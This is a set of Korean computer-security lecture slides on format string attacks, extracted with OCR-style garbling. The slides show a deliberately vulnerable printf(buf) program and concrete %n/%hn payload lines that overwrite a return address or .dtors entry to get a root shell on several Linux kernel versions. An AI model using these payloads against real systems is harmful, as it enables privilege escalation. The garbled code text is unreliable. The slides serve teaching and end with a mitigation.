Computer Security Chapter 08. Format String 김동진 1 Secure Software Lab.

Similar documents
<B1E2BCFAB9AEBCAD5FB9DABAB4B1D45F F F64746F72732E687770>

버퍼오버플로우-왕기초편 10. 메모리를 Hex dump 뜨기 앞서우리는버퍼오버플로우로인해리턴어드레스 (return address) 가변조될수있음을알았습니다. 이제곧리턴어드레스를원하는값으로변경하는실습을해볼것인데요, 그전에앞서, 메모리에저장된값들을살펴보는방법에대해배워보겠습

Microsoft PowerPoint - chap06-2pointer.ppt

PowerPoint Template

hlogin2

IT CookBook, 정보보안개론 ( 개정판 ) [ 강의교안이용안내 ] 본강의교안의저작권은한빛아카데미 에있습니다. 이자료를무단으로전제하거나배포할경우저작권법 136 조에의거하여최고 5 년이하의징역또는 5 천만원이하의벌금에처할수있고이를병과 ( 倂科 ) 할수도있습니다.

목차 1. 소개... 3 가. BOF란?... 3 나. 윈도우 BOF 개발환경및사용툴 Shellcode 작성하기... 4 가. cmd 쉘 ) 소스코드작성 ) 디스어셈블리 ) 어셈블리코드편집 간단

Microsoft Word - building the win32 shellcode 01.doc

금오공대 컴퓨터공학전공 강의자료

Microsoft PowerPoint - ch04_코드 보안 [호환 모드]

슬라이드 1

Microsoft PowerPoint - ch04_코드 보안 [호환 모드]

Poison null byte Excuse the ads! We need some help to keep our site up. List 1 Conditions 2 Exploit plan 2.1 chunksize(p)!= prev_size (next_chunk(p) 3

Return-to-libc

Deok9_Exploit Technique

PowerPoint 프레젠테이션

Microsoft PowerPoint - ch07 - 포인터 pm0415

PowerPoint 프레젠테이션

Level 4 ( hell_fire -> evil_wizard ) ~]$ cat evil_wizard.c /* The Lord of the BOF : The Fellowship of the BOF - evil_wizard

[ 마이크로프로세서 1] 2 주차 3 차시. 포인터와구조체 2 주차 3 차시포인터와구조체 학습목표 1. C 언어에서가장어려운포인터와구조체를설명할수있다. 2. Call By Value 와 Call By Reference 를구분할수있다. 학습내용 1 : 함수 (Functi

Microsoft PowerPoint - [2009] 02.pptx

11장 포인터

how_2_write_Exploit_4_the_MSF_v3.x.hwp

금오공대 컴퓨터공학전공 강의자료

A Hierarchical Approach to Interactive Motion Editing for Human-like Figures

Microsoft PowerPoint - chap02-C프로그램시작하기.pptx

1.2 자료형 (data type) 프로그램에서다루는값의형태로변수나함수를정의할때주로사용하며, 컴퓨터는선언된 자료형만큼의메모리를확보하여프로그래머에게제공한다 정수 (integer) 1) int(4 bytes) 연산범위 : (-2 31 ) ~ (2 31 /2)-

<4D F736F F F696E74202D20B8AEB4AABDBA20BFC0B7F920C3B3B8AEC7CFB1E22E BC8A3C8AF20B8F0B5E55D>

hlogin7

Microsoft PowerPoint - chap13-입출력라이브러리.pptx

0x00 Contents 0x About Nickster 0x Analaysis 0x Exploit

목차 포인터의개요 배열과포인터 포인터의구조 실무응용예제 C 2

History

OCW_C언어 기초

버퍼오버플로우-왕기초편 3.c언어에서버퍼사용하기 버퍼는 임시기억공간 이라는포괄적인개념이기때문에여러곳에존재할수있습니다. 즉, CPU 에도버퍼가존재할수있으며, 하드디스크에도존재할수있고, CD- ROM 이나프린터에도존재할수있습니다. 그리고앞의예제에서보신바와같이일반프로그램에도

adfasdfasfdasfasfadf

커알못의 커널 탐방기 이 세상의 모든 커알못을 위해서

C 프로그램의 기본

PowerPoint Presentation

0x <main+41>: lea eax,[ebp-264] 0x f <main+47>: push eax 0x080484a0 <main+48>: call 0x804835c <strcpy> 0x080484a5 <main+53>: add esp,0x1

Microsoft Word - MSOffice_WPS_analysis.doc

Microsoft Word - PLC제어응용-2차시.doc

vi 사용법

PowerPoint 프레젠테이션

슬라이드 1

<322EBCF8C8AF28BFACBDC0B9AEC1A6292E687770>

Microsoft Word - readme.doc

윤석언 - Buffer Overflow - 윤석언 제12회세미나 수원대학교보안동아리 FLAG

강의10

취약점분석보고서 [Photodex ProShow Producer v ] RedAlert Team 안상환

슬라이드 1

[8051] 강의자료.PDF

PowerPoint 프레젠테이션

untitled

Microsoft PowerPoint - C프로그래밍-chap03.ppt [호환 모드]

OCW_C언어 기초

JVM 메모리구조

Microsoft PowerPoint - polling.pptx

제 14 장포인터활용 유준범 (JUNBEOM YOO) Ver 본강의자료는생능출판사의 PPT 강의자료 를기반으로제작되었습니다.

Microsoft PowerPoint - chap11.ppt [호환 모드]

JAVA 프로그래밍실습 실습 1) 실습목표 - 메소드개념이해하기 - 매개변수이해하기 - 새메소드만들기 - Math 클래스의기존메소드이용하기 ( ) 문제 - 직사각형모양의땅이있다. 이땅의둘레, 면적과대각

Microsoft PowerPoint - Lecture_Note_7.ppt [Compatibility Mode]

PowerPoint 프레젠테이션

Reusing Dynamic Linker For Exploitation Author : Date : 2012 / 05 / 13 Contact : Facebook : fb.me/kwonpwn

API 매뉴얼

임베디드시스템설계강의자료 6 system call 2/2 (2014 년도 1 학기 ) 김영진 아주대학교전자공학과

Adobe Flash 취약점 분석 (CVE )

RTL

슬라이드 1

비트와바이트 비트와바이트 비트 (Bit) : 2진수값하나 (0 또는 1) 를저장할수있는최소메모리공간 1비트 2비트 3비트... n비트 2^1 = 2개 2^2 = 4개 2^3 = 8개... 2^n 개 1 바이트는 8 비트 2 2

C 프로그래밊 개요

<4D F736F F F696E74202D20BBB7BBB7C7D15F FBEDFB0A3B1B3C0B05FC1A638C0CFC2F72E BC8A3C8AF20B8F0B5E55D>

Microsoft PowerPoint - 알고리즘_5주차_1차시.pptx

Microsoft PowerPoint - Chapter_04.pptx

금오공대 컴퓨터공학전공 강의자료

BufferOverflow on Solaris Sparc

Microsoft PowerPoint APUE(Intro).ppt

BMP 파일 처리

목 차 1. 개요 취약점분석추진배경 취약점요약 취약점정보 취약점대상시스템목록 분석 공격기법및기본개념 시나리오 공격코드

Chapter 4. LISTS

Microsoft PowerPoint - chap01-C언어개요.pptx

PowerPoint 프레젠테이션

PowerPoint Presentation

2007_2_project4

BOF Foundation.doc

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션

취약점분석보고서 Simple Web Server 2.2 rc2 Remote Buffer Overflow Exploit RedAlert Team 안상환

취약점분석보고서 [CyberLink Power2Go name attribute (p2g) Stack Buffer Overflow Exploit] RedAlert Team_ 강동우

PowerPoint Presentation

Microsoft PowerPoint - 제11장 포인터

11장 포인터

02.Create a shellcode that executes "/bin/sh" Excuse the ads! We need some help to keep our site up. List Create a shellcode that executes "/bin/sh" C

C 언어 프로그래밊 과제 풀이

Microsoft PowerPoint - 3ÀÏ°_º¯¼ö¿Í »ó¼ö.ppt

C 프로그래밊 개요

¾Ë·¹¸£±âÁöħ¼�1-ÃÖÁ¾

01....b

2007백서-001-특집

00목차

Transcription:

Computer Security Chapter 08. Format Strig 김동진 (kdjorag@gmail.com) http://securesw.dakook.ac.kr/ 1

목차 Format Strig Attack? Format Strig? Format Strig Attack 의원리 입력코드생성 Format Strig Attack (kerel v2.2, v2.4, v2.6?) 포맷스트링공격에대한대응책 2

Format Strig Attack? Format Strig 과이것을사용하는 pritf() 함수의취약점을이용하여 RET 의위치에쉘코드의주소를 write 하여쉘을획득하는공격. Buffer Overflow Attack 과비교 RET 의위치주소를정확히알아야함 (BOF 는 buffer 와 RET 사이의거리만알면됨 ) Overflow 없이 RET 에바로 write 할수있으므로스택가드나 caary 를우회함 3

Format Strig? 일반적으로사용자로부터입력을받아들이거나결과를출력하기위하여사용하는형식 Ex) it i = 5; pritf( %d, i); 파라미터 (Parameter) 변수형식 %d 정수형 10 진수상수 (iteger) %f 실수형상수 (float) %lf 실수형상수 (double) %c 문자값 (char) %s 문자스트링 ((cost)(usiged) char *) %u 양의정수 (10 진수 ) %o 양의정수 (8 진수 ) %x 양의정수 (16 진수 ) %s 문자열 % * it ( 쓰인총바이트수 ) %h % 의반인 2 바이트단위 4

Format Strig Attack - 착안점및원리 취약점 1 pritf() 의취약점 GOOD! mai() { char *ex = format strig ; pritf( %s \,ex); } BAD! mai() { char *ex = format strig ; pritf(ex); } 5

Format Strig Attack - 착안점및원리 취약점 1 pritf() 의취약점 (cot.) mai() { char *ex = test %x %x %x %x ; pritf( %s \,ex); } mai() { } char *ex = test %x %x %x %x ; pritf(ex); //pritf( test %x %x %x %x ); pritf() 는 format strig 이후에해당 format strig 에해당하는인자가없으면 Stack 상에서 pritf() 가호출된시점에서 stack top 위치의내용부터순서대로인자로여김 6

Format Strig Attack - 착안점및원리 취약점 2 format strig : %(%h) 해당 pritf() 에의해출력된바이트수를정수형포인터에저장 (4byte, %h 은 2byte 로저장 ) mai() { char *ex = format strig ; it *byte; pritf( %s%, ex, byte); pritf("prit byte = %d\", *byte); } format strig 출력된바이트 ( 빈칸포함 ) 13 이 byte 라는정수형포인터에 저장된것을확인 7

Format Strig Attack - 착안점및원리 취약점종합 % 과 %h 의차이점 #iclude <stdio.h> //test6.c #iclude "dumpcode.h mai(){ char buffer[64]; fgets(buffer, 63, stdi); pritf(buffer); dumpcode ((char *)buffer, 100);} (pritf "\x41\x41\x41\x41\x78\xfb\xff\xbf%%c%%"; cat)./test6 8

Format Strig Attack - 착안점및원리 취약점종합 (cot.) (pritf "\x41\x41\x41\x41\x78\xfb\xff\xbf%%c%%"; cat)./test6 RET #iclude <stdio.h> //test6.c #iclude "dumpcode.h" mai(){ char buffer[64]; fgets(buffer, 63, stdi); pritf(buffer); dumpcode ((char *)buffer, 100);} SFP pritf( \x41\x41\x41\x41\x78\xfb\xff\xbf%c% );... 0xbffffb78 0x41414141 buffer %에대응 %c에대응 pritf() 호출 % 은출력된바이트수를정수형포인터에저장하므로 0xbffffb78 을주소로알고메모리상의해당주소위치에출력된바이트수를저장 9

Format Strig Attack - 착안점및원리 Idea Pritf() 의취약점을이용하여 stack 에접근가능 %(%h) 의취약점을이용하여 write 가허용된 memory segmet 에원하는값을 write 할수있음 앞의예제에서 % 앞에 9byte를출력시켜서원하는주소에 9를 write함 %앞에 % 정수d(%90d) 와같은형태의 format strig으로출력바이트를조작해서공격자가원하는메모리주소를원하는위치에 write할수있음 ex) 메모리의 0xbffffb78(RET의위치주소 ) 위치에 0xbfabfabc( 쉘코드주소 ) 를 write 하려면 0xbfabfabc = 3221224124 buf = \x41\x41\x41\x41\x78\xfb\xff\xbf%3221224124d% pritf(buf);? eggshell 을이용해쉘코드를메모리에올린후그주소를 pritf() 와 % 의취약점을이용하여메모리상의 RET 위치에 write 함 쉘획득성공?? 10

Format Strig Attack - 착안점및원리 Idea(cot.) 0xbfabfabc = 3221224124 buf = \x41\x41\x41\x41\x78\xfb\xff\xbf%3221224124d% RET pritf(buf); 결과 SFP format strig 0xbffffb78 0x41414141 buffer %에대응 %3221224124d 에대응 pritf() 호출?????????????????????????? 11 0x41의 10진수값인 A 가 4개출력되고, 0xbffffb78이표현가능한값으로출력된후 Format strig %322122412d에의해대응되는공간의값이 322122412byte공간을확보하여출력되고, %에의해대응되는공간에있는값을주소값이라고여겨해당주소공간에지금까지출력된 322122414byte를 16진수로변환하여 0xbffffb78을 write???????????????

Format Strig Attack - 착안점및원리 Idea 대로수행하면과연쉘을획득할수있을까? No!!! 시스템 (cpu) 는 3221224124 와같이큰수를바로인식할수없음 pritf() 가 format strig 을만나기전까지는정상적인출력을함으로 주소계산과정에서고려해야함 해결방법 % 과는달리 2byte 단위로 write 하는 %h 을사용하여 0xbfabfabc 를 0xbfab 와 0xfabc 로나누어서사용 정상적으로출력된 byte 를고려하여주소계산과정에서 (-) 함 12

Format Strig Attack - 착안점및원리 조건 정상적인프로그래머가해당인자가없는 format strig 을포함하는 pritf() 를사용할경우는없음 ex) pritf( test %x %x %x %x ); char *ex = test %x %x %x %x ; pritf(ex); argv 나표준입력을통해서공격코드를버퍼에넣을수있는함수및코드가필요 ex) fgets(buffer, 63, stdi); read(0, buf, 64); 실행흐름을바꿀수있는메모리위치의정확한주소필요 ex) 함수호출시의 RET 적합한실행파일찾기 쉘코드의위치주소필요 공격자의능력 13

Format Strig Attack 입력 ( 공격 ) 코드생성 0xbffff14c(RET 주소 ) 의위치에 0xbffffb28( 쉘코드주소 ) 를 write 하기위한입력코드 (pritf "\x41\x41\x41\x41\x4c\xf1\xff\xbf\x41\x41\x41\x41\x4e\xf1\xff\xbf%%64280d%%h%%50391d%%h"; cat)./bugfile RET SFP format strig %64280d, %50391d?? 0xbffff14e 0x41414141 0xbffff14c 0x41414141 %h에대응 %50391d에대응 %h에대응 %64280d에대응 0xbffff14c, 0xbffff14e?? 14

Format Strig Attack 입력 ( 공격 ) 코드생성 0xbffff14c(RET 주소 ) 의위치에 0xbffffb28( 쉘코드주소 ) 를 write 하기위한입력코드 (pritf "\x41\x41\x41\x41\x4c\xf1\xff\xbf\x41\x41\x41\x41\x4e\xf1\xff\xbf%%64280d%%h%%50391d%%h"; cat)./bugfile 16 byte %64280d, %50391d?? 0xbffffb28을그대로 10진수로변환하면시스템에서처리할수없으므로 0x1bfff, 0xfb28로나누어 10진수로변환 0xfb28 = 64296 이지만 format strig을만나기전에 16byte를출력함으로 16을 (-) 한 64280만큼의공간을확보해서 AAAA 를출력하면원하는위치에 0xfb28(64296) 을 write하게됨 64296 16 = 64280 0x1bfff( 양수는 1이숨어있음 ) = 114687 이지만앞에총 64296byte만큼출력되었기때문에 114687-64296을한 50391만큼의공간을확보해서 AAAA 를출력하면원하는위치에 0xbfff(114687) 을 write하게됨 114687 64296 = 50391 0xbffff14c, 0xbffff14e?? %h 은 % 과는달리 2byte 단위로 write 하기때문에 4byte 단위의주소를둘로나누어두번에걸쳐 write 해야함 0xbfff(114687) 0xfb28(64296) 0xbffff14e 15 0xbffff14c

Format Strig Attack 실습환경 OS RedHat6(kerel v2.2) RedHat9(kerel v2.4) Fedora Core6(kerel v2.6) 취약및공격프로그램 Eggshell (Buffer Overflow Attack 때와동일 ) Bugfile (root 권한의 Setuid 설정, Format Strig Attack 에필요한취약요소포함 ) #iclude <stdio.h> #iclude "dumpcode.h" mai(){ it i =0; char buf[64]; memset(buf, 0, 64); read(0, buf, 64); pritf(buf); dumpcode ((char *)buf, 200);// 스택상태확인 } 16

Format Strig Attack kerel v2.2(redhat 6) kerel v2.2 stack에 dummy값삽입 X stack에서환경변수의위치와 mai함수의위치가대부분동일함 공격순서 eggshell 을실행 ( 쉘코드를메모리에올림 ) 한후간단한실행파일을만든후디버깅을통해서 mai 의 RET 의위치주소를확인 eggshell 실행시출력된쉘코드의예상주소와 bugfile 의예상 mai RET 주소를이용하여입력코드생성 root 권한의쉘획득!!! ( 간단한명령을통해확인 ) 17

Format Strig Attack kerel v2.2(redhat 6) eggshell 을실행 ( 쉘코드를메모리에올림 ) 한후간단한실행파일을만든후디버깅을통해서 mai 의 RET 의위치주소를확인 0xbffff14c(RET 주소 ) 확인! eggshell 실행시출력된쉘코드의예상주소와 bugfile 의예상 mai RET 주소를이용하여입력코드생성 0xbffffb28( 쉘코드주소 ) 확인! (pritf"\x41\x41\x41\x41\x4c\xf1\xff\xbf\x41\x41\x41\x41\x4e\xf1\xff\xbf%%64280d%%h %%50391d%%h"; cat)./bugfile 18

Format Strig Attack kerel v2.4(redhat 9) kerel v2.4 kerel v2.2 에서와는다르게 buffer와 pritf() 의호출시점사이에 12byte의 dummy값존재입력코드에 dummy byte만큼의 format strig을삽입하여해결가능 ex) %8x%8x%8x RET SFP format strig 0x41414141 0x4207a750 stack 상에서위치주소가 16 3 수준부터 Radom 하게변함 RET 의위치주소를정확히알아야하는 format strig attack 에게는치명적임 But 컴파일후변경되지않는 ELF 포맷의.dtors 를이용하여간단하게우회가능 0x00000040 0xbfff550 stack 상에서의위치주소가 Radom 하게변함으로환경변수로 stack 에올린쉘코드의위치주소도변하지않을까??? gdb 를이용하여확인해본결과 kerel2.4 에서는 mai 함수의시작위치만 radom 하게지정하기때문에환경변수들의위치는항상동일함.. 고민해결!! 19

Format Strig Attack kerel v2.4(redhat 9) kerel v2.4 ELF??.dtors?? ELF 포맷은다른파일포맷에비해약간의오버헤드가있지만유연성이뛰어난파일포맷으로리눅스에서가장일반적으로사용되는포맷 ELF 포맷은프로그램의시작과종료시 ( 즉, mai 함수실행전과 exit 함수실행후 ) 특정함수를실행할수있다. 시작시실행 costructors (.ctors) static void start(void) attribute ((costructor)); 종료시실행 destructors (.dtors) static void stop(void) attribute ((costructor)); 20

Format Strig Attack kerel v2.4(redhat 9) kerel v2.4 objdump h bugfile more stack heap bss.dtors data obdump s j.dtors bugfile text 0x00000000 0xffffffff 0x80497f8 21 0x80497f4

Format Strig Attack kerel v2.4(redhat 9) kerel v2.4.dtors 에서 0x00000000(0x80497f8) 즉, objdump 를통해출력된.dtors 의시작주소에 4 를 (+) 한주소에우리의목적인쉘코드의위치주소를 write 하면성공! stack 에서 mai 함수시작이후의 esp 값은실행시마다변함으로 eggshell 에서출력되는쉘코드의예상위치주소는신뢰할수없음. kerel v2.4 에서환경변수의위치는항상같으므로 gdb 를통해서쉘코드의위치주소를먼저확인후사용!! 위에서추출한주소들을사용하여입력코드생성후공격!!! root 권한쉘획득!! 22

Format Strig Attack kerel v2.4(redhat 9) kerel v2.4 (pritf"\x41\x41\x41\x41\xf8\x97\x04\x08\x41\x41\x41\x41\xfa\ x97\x04\x08%%8x%%8x%%8x%%62432d%%h%%52215d% %h"; cat)./bugfile 23

Format Strig Attack kerel v2.4(redhat 9) kerel v2.4 (pritf"\x41\x41\x41\x41\xf8\x97\x04\x08\x41\x41\x41\x41\xfa\ x97\x04\x08%%8x%%8x%%8x%%62432d%%h%%52215d% %h"; cat)./bugfile format strig 쉘코드주소 0xffffffff 0x080497fa %h 0x80497f8 0x80497f4 0x41414141 %52215d 0x080297f8 %h 0x41414141 %62432d dummy %8x EASY!! dummy %8x dummy %8x 24

Format Strig Attack kerel v2.6(fedora Core 6) kerel v2.6 kerel v2.6 에서는 kerel v2.4 에서와는달리 stack 에서의환경변수위치까지 Radom 하게바뀌고, 16 3 수준보다큰 16 5 수준부터 Radom 하게변함 결과적으로쉘코드의위치를알기매우힘들기때문에공격이매우힘듬 매번실행시마다바뀌는쉘코드의위치들의규칙성을찾으려고노력했지만 X ( 실습환경에서는쉘코드의시작이 0x??????a1 부터시작되는규칙성만찾음 ) 결국기존의공격방법으로는성공할확률이매우희박해결방안 shellcode를실행시주소가변하지않는공간에상주 eggshell 의 shellcode 앞에쌓은 NOP 의양을극대화시킴으로써공격성공확률높임 25

포맷스트링공격에대한대응책 pritf( %s\, buffer); OK!! pritf(buffer); NO!! 26